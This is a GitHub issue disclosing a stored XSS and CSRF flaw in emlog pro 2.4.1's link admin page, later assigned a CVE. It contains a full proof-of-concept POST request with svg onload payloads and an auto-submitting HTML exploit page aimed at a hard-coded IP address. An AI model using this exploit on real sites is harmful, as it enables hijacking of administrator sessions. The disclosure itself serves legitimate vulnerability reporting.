Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

emlog pro 2.4.1 Stored XSS Vulnerability #82

Open
Hebing123 opened this issue Dec 13, 2024 · 1 comment
Open

emlog pro 2.4.1 Stored XSS Vulnerability #82

Hebing123 opened this issue Dec 13, 2024 · 1 comment

Comments

@Hebing123
Copy link
Owner

Hebing123 commented Dec 13, 2024

Summary

A stored XSS vulnerability exists in emlog pro 2.4.1 which allows attackers to execute arbitrary HTML code.

Details

Because /admin/link.php has CSRF problems, attackers can use XSS to cooperate with CSRF to attack.
The siteurl and icon parameters have XSS vulnerabilities.
image

POC

POST /admin/link.php?action=save HTTP/1.1
Host: target-ip
Content-Length: 297
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: [admins'cookie]
Connection: keep-alive

sitename=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&siteurl=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&icon=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&description=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&linkid=

EXP:

<html>
  <body>
    <form action="http://39.105.104.74:10004/admin/link.php?action=save" method="POST">
      <input type="hidden" name="sitename" value="https&#58;&#47;&#47;www&#46;com&#47;&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;3&#41;&gt;" />
      <input type="hidden" name="siteurl" value="https&#58;&#47;&#47;www&#46;com&#47;&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;3&#41;&gt;" />
      <input type="hidden" name="icon" value="https&#58;&#47;&#47;www&#46;com&#47;&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;3&#41;&gt;" />
      <input type="hidden" name="description" value="https&#58;&#47;&#47;www&#46;com&#47;&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;3&#41;&gt;" />
      <input type="hidden" name="linkid" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

A attacker put this exp in a server, When the admin users visit the html file,his cookie will be send to attackers.

@Hebing123
Copy link
Owner Author

Hebing123 commented Dec 23, 2024

CVE-2024-12846

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant